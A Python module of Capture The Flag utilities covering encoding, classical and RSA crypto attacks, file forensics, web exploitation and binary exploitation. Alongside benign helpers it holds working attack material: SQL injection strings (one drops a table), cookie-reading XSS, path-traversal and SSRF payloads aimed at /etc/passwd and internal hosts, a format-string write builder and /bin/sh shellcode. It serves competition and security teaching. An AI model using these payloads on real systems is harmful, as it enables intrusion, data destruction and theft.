"""
CTF Tools - Capture The Flag challenge solving utilities

Provides tools for common CTF categories:
- Crypto: Classical ciphers, RSA, AES, hashing
- Web: SQLi, XSS, SSRF, path traversal
- Forensics: File carving, steganography, memory analysis
- Pwn: Buffer overflow, ROP chains, format strings
- Misc: Encoding, compression, OSINT

For CTF competitions and security education.
"""

import base64
import binascii
import codecs
import hashlib
import re
import subprocess
import shutil
import struct
import zlib
from dataclasses import dataclass, field
from pathlib import Path
from typing import Any, Optional

from groknroll.mode2600.core import get_mode2600


@dataclass
class CTFFlag:
    """CTF flag result."""

    flag: str
    confidence: float = 1.0
    method: str = ""
    details: str = ""


class CTFHelper:
    """
    General CTF helper utilities.

    Provides encoding/decoding, flag detection, and common operations.
    """

    # Common flag formats
    FLAG_PATTERNS = [
        r"flag\{[^}]+\}",
        r"FLAG\{[^}]+\}",
        r"ctf\{[^}]+\}",
        r"CTF\{[^}]+\}",
        r"picoCTF\{[^}]+\}",
        r"HTB\{[^}]+\}",
        r"CSAW\{[^}]+\}",
        r"DUCTF\{[^}]+\}",
        r"SECCON\{[^}]+\}",
    ]

    def __init__(self):
        """Initialize CTF helper."""
        self.mode2600 = get_mode2600()

    def find_flags(self, text: str, pattern: Optional[str] = None) -> list[CTFFlag]:
        """
        Find flag patterns in text.

        Args:
            text: Text to search
            pattern: Custom flag pattern (regex)

        Returns:
            List of found flags
        """
        flags = []

        patterns = [pattern] if pattern else self.FLAG_PATTERNS

        for pat in patterns:
            matches = re.findall(pat, text, re.IGNORECASE)
            for match in matches:
                flags.append(CTFFlag(flag=match, method="regex"))

        return flags

    def decode_all(self, data: str) -> dict[str, str]:
        """
        Try all common decodings on data.

        Args:
            data: Encoded data

        Returns:
            Dict of encoding -> decoded result
        """
        results = {}

        # Base64
        try:
            decoded = base64.b64decode(data).decode("utf-8", errors="ignore")
            if decoded.isprintable() or len(decoded) > 10:
                results["base64"] = decoded
        except Exception:
            pass

        # Base32
        try:
            decoded = base64.b32decode(data).decode("utf-8", errors="ignore")
            if decoded.isprintable():
                results["base32"] = decoded
        except Exception:
            pass

        # Base16 (hex)
        try:
            decoded = bytes.fromhex(data).decode("utf-8", errors="ignore")
            if decoded.isprintable():
                results["hex"] = decoded
        except Exception:
            pass

        # URL encoding
        try:
            from urllib.parse import unquote
            decoded = unquote(data)
            if decoded != data:
                results["url"] = decoded
        except Exception:
            pass

        # HTML entities
        try:
            import html
            decoded = html.unescape(data)
            if decoded != data:
                results["html"] = decoded
        except Exception:
            pass

        # ROT13
        try:
            decoded = codecs.decode(data, "rot_13")
            results["rot13"] = decoded
        except Exception:
            pass

        # Binary
        try:
            if all(c in "01 " for c in data):
                binary = data.replace(" ", "")
                decoded = "".join(
                    chr(int(binary[i:i+8], 2))
                    for i in range(0, len(binary), 8)
                )
                if decoded.isprintable():
                    results["binary"] = decoded
        except Exception:
            pass

        # Morse code
        try:
            if all(c in ".-/ " for c in data):
                results["morse"] = self._decode_morse(data)
        except Exception:
            pass

        return results

    def _decode_morse(self, morse: str) -> str:
        """Decode morse code."""
        morse_dict = {
            ".-": "A", "-...": "B", "-.-.": "C", "-..": "D", ".": "E",
            "..-.": "F", "--.": "G", "....": "H", "..": "I", ".---": "J",
            "-.-": "K", ".-..": "L", "--": "M", "-.": "N", "---": "O",
            ".--.": "P", "--.-": "Q", ".-.": "R", "...": "S", "-": "T",
            "..-": "U", "...-": "V", ".--": "W", "-..-": "X", "-.--": "Y",
            "--..": "Z", "-----": "0", ".----": "1", "..---": "2",
            "...--": "3", "....-": "4", ".....": "5", "-....": "6",
            "--...": "7", "---..": "8", "----.": "9",
        }

        words = morse.split(" / ")
        result = []

        for word in words:
            letters = word.split()
            decoded_word = ""
            for letter in letters:
                decoded_word += morse_dict.get(letter, "?")
            result.append(decoded_word)

        return " ".join(result)

    def encode(self, data: str, encoding: str) -> str:
        """
        Encode data with specified encoding.

        Args:
            data: Data to encode
            encoding: Encoding type (base64, hex, rot13, etc.)

        Returns:
            Encoded string
        """
        if encoding == "base64":
            return base64.b64encode(data.encode()).decode()
        elif encoding == "base32":
            return base64.b32encode(data.encode()).decode()
        elif encoding == "hex":
            return data.encode().hex()
        elif encoding == "rot13":
            return codecs.encode(data, "rot_13")
        elif encoding == "binary":
            return " ".join(format(ord(c), "08b") for c in data)
        elif encoding == "url":
            from urllib.parse import quote
            return quote(data)
        else:
            raise ValueError(f"Unknown encoding: {encoding}")


class CryptoSolver:
    """
    Cryptography challenge solver.

    Handles:
    - Classical ciphers (Caesar, Vigenere, substitution)
    - RSA attacks (small e, common factors, etc.)
    - AES/DES analysis
    - Hash cracking
    """

    def __init__(self):
        """Initialize crypto solver."""
        self.mode2600 = get_mode2600()

    def caesar_bruteforce(self, ciphertext: str) -> list[tuple[int, str]]:
        """
        Brute force Caesar cipher.

        Args:
            ciphertext: Encrypted text

        Returns:
            List of (shift, plaintext) tuples
        """
        results = []

        for shift in range(26):
            plaintext = ""
            for char in ciphertext:
                if char.isalpha():
                    base = ord("A") if char.isupper() else ord("a")
                    plaintext += chr((ord(char) - base - shift) % 26 + base)
                else:
                    plaintext += char
            results.append((shift, plaintext))

        return results

    def vigenere_decrypt(self, ciphertext: str, key: str) -> str:
        """
        Decrypt Vigenere cipher.

        Args:
            ciphertext: Encrypted text
            key: Encryption key

        Returns:
            Decrypted plaintext
        """
        plaintext = ""
        key = key.upper()
        key_index = 0

        for char in ciphertext:
            if char.isalpha():
                base = ord("A") if char.isupper() else ord("a")
                shift = ord(key[key_index % len(key)]) - ord("A")
                plaintext += chr((ord(char) - base - shift) % 26 + base)
                key_index += 1
            else:
                plaintext += char

        return plaintext

    def xor_single_byte(self, data: bytes) -> list[tuple[int, bytes]]:
        """
        XOR with single byte brute force.

        Args:
            data: XOR'd data

        Returns:
            List of (key, result) tuples
        """
        results = []

        for key in range(256):
            result = bytes(b ^ key for b in data)
            # Score by printable characters
            score = sum(1 for b in result if 32 <= b < 127)
            results.append((key, result, score))

        # Sort by score
        results.sort(key=lambda x: x[2], reverse=True)
        return [(k, r) for k, r, _ in results[:10]]

    def rsa_small_e(self, c: int, e: int, n: int) -> Optional[int]:
        """
        RSA attack for small e (cube root attack).

        Args:
            c: Ciphertext
            e: Public exponent (usually 3)
            n: Modulus

        Returns:
            Plaintext if successful
        """
        if e != 3:
            return None

        # Try cube root (when m^e < n)
        import math

        low = 0
        high = n

        while low < high:
            mid = (low + high) // 2
            if mid ** e < c:
                low = mid + 1
            else:
                high = mid

        if low ** e == c:
            return low

        return None

    def rsa_common_modulus(
        self,
        c1: int, c2: int,
        e1: int, e2: int,
        n: int,
    ) -> Optional[int]:
        """
        RSA common modulus attack.

        When same message encrypted with different e values.

        Args:
            c1, c2: Ciphertexts
            e1, e2: Public exponents
            n: Common modulus

        Returns:
            Plaintext if successful
        """
        import math

        def extended_gcd(a: int, b: int) -> tuple[int, int, int]:
            if a == 0:
                return b, 0, 1
            gcd, x1, y1 = extended_gcd(b % a, a)
            x = y1 - (b // a) * x1
            y = x1
            return gcd, x, y

        gcd, s1, s2 = extended_gcd(e1, e2)

        if gcd != 1:
            return None

        # Handle negative exponents
        if s1 < 0:
            c1 = pow(c1, -1, n)
            s1 = -s1
        if s2 < 0:
            c2 = pow(c2, -1, n)
            s2 = -s2

        m = (pow(c1, s1, n) * pow(c2, s2, n)) % n
        return m

    def frequency_analysis(self, text: str) -> dict[str, float]:
        """
        Perform frequency analysis on text.

        Args:
            text: Text to analyze

        Returns:
            Dict of character -> frequency
        """
        from collections import Counter

        # Count letters only
        letters = [c.lower() for c in text if c.isalpha()]
        counts = Counter(letters)
        total = len(letters)

        return {char: count / total for char, count in counts.items()}


class WebExploiter:
    """
    Web exploitation utilities for CTF.

    Handles:
    - SQL injection payloads
    - XSS payload generation
    - SSRF testing
    - Path traversal
    """

    # Common SQLi payloads
    SQLI_PAYLOADS = [
        "' OR '1'='1",
        "' OR '1'='1' --",
        "' OR '1'='1' /*",
        "1' OR '1'='1",
        "admin'--",
        "' UNION SELECT NULL--",
        "' UNION SELECT 1,2,3--",
        "1; DROP TABLE users--",
        "' AND 1=1--",
        "' AND 1=2--",
    ]

    # Common XSS payloads
    XSS_PAYLOADS = [
        "<script>alert(1)</script>",
        "<img src=x onerror=alert(1)>",
        "<svg onload=alert(1)>",
        "javascript:alert(1)",
        "<body onload=alert(1)>",
        "'><script>alert(1)</script>",
        "\"><script>alert(1)</script>",
        "<img src=x onerror=alert(document.cookie)>",
    ]

    def __init__(self):
        """Initialize web exploiter."""
        self.mode2600 = get_mode2600()

    def get_sqli_payloads(self, context: str = "login") -> list[str]:
        """Get SQL injection payloads for context."""
        return self.SQLI_PAYLOADS.copy()

    def get_xss_payloads(self, context: str = "reflected") -> list[str]:
        """Get XSS payloads for context."""
        return self.XSS_PAYLOADS.copy()

    def generate_path_traversal(self, depth: int = 10, target: str = "/etc/passwd") -> list[str]:
        """
        Generate path traversal payloads.

        Args:
            depth: Maximum directory traversal depth
            target: Target file

        Returns:
            List of payloads
        """
        payloads = []

        for i in range(1, depth + 1):
            prefix = "../" * i
            payloads.append(prefix + target.lstrip("/"))
            # URL encoded
            payloads.append(prefix.replace("../", "%2e%2e%2f") + target.lstrip("/"))
            # Double URL encoded
            payloads.append(prefix.replace("../", "%252e%252e%252f") + target.lstrip("/"))

        return payloads

    def generate_ssrf_payloads(self, target: str = "127.0.0.1") -> list[str]:
        """
        Generate SSRF bypass payloads.

        Args:
            target: Target internal address

        Returns:
            List of payloads
        """
        payloads = [
            f"http://{target}/",
            f"http://localhost/",
            f"http://127.0.0.1/",
            f"http://0.0.0.0/",
            f"http://[::1]/",
            f"http://0177.0.0.1/",  # Octal
            f"http://2130706433/",  # Decimal
            f"http://127.1/",
            f"http://0/",
            f"http://{target}.nip.io/",
            f"gopher://{target}:80/_",
            f"file:///etc/passwd",
        ]

        return payloads


class ForensicsHelper:
    """
    Digital forensics utilities for CTF.

    Handles:
    - File type identification
    - Steganography detection
    - File carving
    - Metadata extraction
    """

    def __init__(self):
        """Initialize forensics helper."""
        self.mode2600 = get_mode2600()

    def identify_file(self, path: Path) -> dict[str, Any]:
        """
        Identify file type and properties.

        Args:
            path: Path to file

        Returns:
            Dict with file information
        """
        info = {
            "path": str(path),
            "size": path.stat().st_size if path.exists() else 0,
        }

        # File command
        if shutil.which("file"):
            result = subprocess.run(
                ["file", "-b", str(path)],
                capture_output=True,
                text=True,
            )
            info["type"] = result.stdout.strip()

        # Magic bytes
        try:
            with open(path, "rb") as f:
                magic = f.read(16)
            info["magic"] = magic.hex()
        except Exception:
            pass

        # Check for hidden data
        info["stego_hints"] = self._check_stego_hints(path)

        return info

    def _check_stego_hints(self, path: Path) -> list[str]:
        """Check for steganography hints."""
        hints = []

        try:
            with open(path, "rb") as f:
                data = f.read()

            # Check for appended data after file end markers
            if b"\xff\xd9" in data:  # JPEG end
                idx = data.rfind(b"\xff\xd9")
                if idx < len(data) - 2:
                    hints.append(f"Data after JPEG EOF marker ({len(data) - idx - 2} bytes)")

            if b"IEND" in data:  # PNG end
                idx = data.find(b"IEND")
                if idx > 0 and idx + 12 < len(data):
                    hints.append(f"Data after PNG IEND chunk")

            # Check for ZIP in file (common stego technique)
            if b"PK\x03\x04" in data[100:]:
                hints.append("Embedded ZIP file detected")

            # Check for strings that might be hidden
            if b"flag{" in data.lower() or b"ctf{" in data.lower():
                hints.append("Flag pattern found in raw data")

        except Exception:
            pass

        return hints

    def extract_metadata(self, path: Path) -> dict[str, Any]:
        """
        Extract metadata from file.

        Args:
            path: Path to file

        Returns:
            Dict with metadata
        """
        metadata = {}

        # Try exiftool
        if shutil.which("exiftool"):
            result = subprocess.run(
                ["exiftool", "-j", str(path)],
                capture_output=True,
                text=True,
            )
            try:
                import json
                data = json.loads(result.stdout)
                if data:
                    metadata = data[0]
            except Exception:
                pass

        return metadata

    def extract_strings_context(
        self,
        path: Path,
        min_length: int = 4,
        context: int = 20,
    ) -> list[dict]:
        """
        Extract strings with context.

        Args:
            path: Path to file
            min_length: Minimum string length
            context: Bytes of context around each string

        Returns:
            List of dicts with string and context
        """
        results = []

        try:
            with open(path, "rb") as f:
                data = f.read()

            # Find printable strings
            current_string = b""
            start_offset = 0

            for i, byte in enumerate(data):
                if 32 <= byte < 127:
                    if not current_string:
                        start_offset = i
                    current_string += bytes([byte])
                else:
                    if len(current_string) >= min_length:
                        results.append({
                            "string": current_string.decode("ascii"),
                            "offset": start_offset,
                            "context_before": data[max(0, start_offset - context):start_offset].hex(),
                            "context_after": data[start_offset + len(current_string):start_offset + len(current_string) + context].hex(),
                        })
                    current_string = b""

        except Exception:
            pass

        return results

    def binwalk_scan(self, path: Path) -> list[dict]:
        """
        Scan file with binwalk for embedded files.

        Args:
            path: Path to file

        Returns:
            List of found signatures
        """
        if not shutil.which("binwalk"):
            return []

        try:
            result = subprocess.run(
                ["binwalk", "-B", str(path)],
                capture_output=True,
                text=True,
            )

            signatures = []
            for line in result.stdout.split("\n")[3:]:
                if line.strip():
                    parts = line.split()
                    if len(parts) >= 3:
                        signatures.append({
                            "offset": parts[0],
                            "type": " ".join(parts[2:]),
                        })

            return signatures

        except Exception:
            return []


class PwnHelper:
    """
    Binary exploitation (pwn) utilities for CTF.

    Handles:
    - Buffer overflow padding calculation
    - ROP gadget finding
    - Format string exploitation
    - Shellcode generation
    """

    def __init__(self):
        """Initialize pwn helper."""
        self.mode2600 = get_mode2600()

    def cyclic_pattern(self, length: int) -> bytes:
        """
        Generate De Bruijn sequence for offset finding.

        Args:
            length: Pattern length

        Returns:
            Cyclic pattern bytes
        """
        charset = b"abcdefghijklmnopqrstuvwxyz"
        pattern = b""

        for a in charset:
            for b in charset:
                for c in charset:
                    for d in charset:
                        pattern += bytes([a, b, c, d])
                        if len(pattern) >= length:
                            return pattern[:length]

        return pattern[:length]

    def cyclic_find(self, pattern: bytes, value: int | bytes) -> int:
        """
        Find offset of value in cyclic pattern.

        Args:
            pattern: The cyclic pattern
            value: Value to find (as int or bytes)

        Returns:
            Offset or -1 if not found
        """
        if isinstance(value, int):
            # Convert int to little-endian bytes
            value = struct.pack("<I", value)

        return pattern.find(value)

    def find_rop_gadgets(self, binary_path: Path, gadget: str = "pop rdi") -> list[dict]:
        """
        Find ROP gadgets in binary.

        Args:
            binary_path: Path to binary
            gadget: Gadget pattern to search

        Returns:
            List of found gadgets
        """
        gadgets = []

        # Try ROPgadget
        if shutil.which("ROPgadget"):
            try:
                result = subprocess.run(
                    ["ROPgadget", "--binary", str(binary_path), "--filter", gadget],
                    capture_output=True,
                    text=True,
                    timeout=60,
                )

                for line in result.stdout.split("\n"):
                    if " : " in line:
                        parts = line.split(" : ")
                        gadgets.append({
                            "address": parts[0].strip(),
                            "gadget": parts[1].strip() if len(parts) > 1 else "",
                        })

            except Exception:
                pass

        # Try ropper
        elif shutil.which("ropper"):
            try:
                result = subprocess.run(
                    ["ropper", "-f", str(binary_path), "--search", gadget],
                    capture_output=True,
                    text=True,
                    timeout=60,
                )

                for line in result.stdout.split("\n"):
                    if "0x" in line:
                        gadgets.append({"raw": line.strip()})

            except Exception:
                pass

        return gadgets

    def format_string_payload(
        self,
        offset: int,
        address: int,
        value: int,
        bits: int = 64,
    ) -> bytes:
        """
        Generate format string write payload.

        Args:
            offset: Stack offset of format string
            address: Address to write to
            value: Value to write
            bits: 32 or 64 bit

        Returns:
            Format string payload
        """
        # Simplified format string payload
        # For actual exploitation, use pwntools

        if bits == 64:
            addr_bytes = struct.pack("<Q", address)
        else:
            addr_bytes = struct.pack("<I", address)

        # Basic %n write
        padding = value - len(addr_bytes)
        payload = addr_bytes + f"%{padding}c%{offset}$n".encode()

        return payload

    def shellcode_x64_execve(self) -> bytes:
        """
        Basic x86_64 /bin/sh shellcode.

        Returns:
            Shellcode bytes
        """
        # execve("/bin/sh", NULL, NULL)
        shellcode = (
            b"\x48\x31\xf6"              # xor rsi, rsi
            b"\x48\x31\xd2"              # xor rdx, rdx
            b"\x48\xbf\x2f\x62\x69\x6e"  # movabs rdi, 0x68732f6e69622f
            b"\x2f\x73\x68\x00"
            b"\x57"                       # push rdi
            b"\x48\x89\xe7"              # mov rdi, rsp
            b"\x48\x31\xc0"              # xor rax, rax
            b"\xb0\x3b"                  # mov al, 59
            b"\x0f\x05"                  # syscall
        )
        return shellcode

    def check_protections(self, binary_path: Path) -> dict[str, bool]:
        """
        Check binary security protections.

        Args:
            binary_path: Path to binary

        Returns:
            Dict of protection -> enabled
        """
        protections = {
            "nx": False,
            "pie": False,
            "canary": False,
            "relro": False,
        }

        # Try checksec
        if shutil.which("checksec"):
            try:
                result = subprocess.run(
                    ["checksec", "--file", str(binary_path)],
                    capture_output=True,
                    text=True,
                )

                output = result.stdout.lower()
                protections["nx"] = "nx enabled" in output
                protections["pie"] = "pie enabled" in output
                protections["canary"] = "canary found" in output
                protections["relro"] = "full relro" in output

            except Exception:
                pass

        return protections
